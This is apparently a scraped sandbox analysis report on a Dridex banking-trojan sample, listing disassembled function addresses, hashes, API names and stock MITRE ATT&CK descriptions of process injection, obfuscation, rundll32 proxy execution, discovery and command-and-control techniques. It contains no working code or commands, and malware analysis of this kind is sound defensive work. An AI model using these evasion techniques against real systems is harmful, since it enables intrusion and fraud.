Function 6EC14D70, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 234COMMON

Download Yara Rule

APIs

__aligned_msize.LIBCMTD ref: 6EC14F23
__invoke_watson_if_error.LIBCMTD ref: 6EC14F2C

Strings

d, xrefs: 6EC14F8B

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __aligned_msize__invoke_watson_if_error
String ID: d
API String ID: 4254006664-2564639436
Opcode ID: 199e4cda93afbdc68ba1b657c99ba01e3c7533b3cdac6c934d1ad26ea4e52f46
Instruction ID: 4dc81d495a240bd2bc7c2258b028e0cc2c3b354f35f853e69f52fa9b514a16ef
Opcode Fuzzy Hash: 199e4cda93afbdc68ba1b657c99ba01e3c7533b3cdac6c934d1ad26ea4e52f46
Instruction Fuzzy Hash: A1A13C74A08249EFCB04CFD8C890BDDBBB2BF89309F248199E9156B345D735AE41DB90

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Razy.980776.28061.5528

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Function 6EB951A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Function 6EBA3930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Function 6EBA6C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Function 6EBC39F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Function 6EBA22A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Function 6EBA7A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 6EBA47B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Function 6EB9543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Function 6EB954F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Function 6EBC3370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Function 6EBBCAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Function 6EBBC790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Function 6EBBC2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Function 6EBA430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Function 6EBC3820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Function 6EBBC580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Function 6EBBC405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Function 6EBA1030, Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Function 6EBB3EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Function 6EBB62F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Function 6EB91784, Relevance: 2.1, Strings: 1, Instructions: 877
COMMONCrypto

Function 6EBB2E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Function 6EBB7660, Relevance: 2.0, Strings: 1, Instructions: 793
COMMONCrypto

Function 6EBAD030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Function 6EBB89F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Function 6EBAA660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Function 6EBB1EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Function 6EBB26B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Function 6EBB1730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Function 6EBB4CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto

Function 6EB96AD0, Relevance: .9, Instructions: 932
COMMONCrypto

Function 6EBB50A0, Relevance: .8, Instructions: 835
COMMONCrypto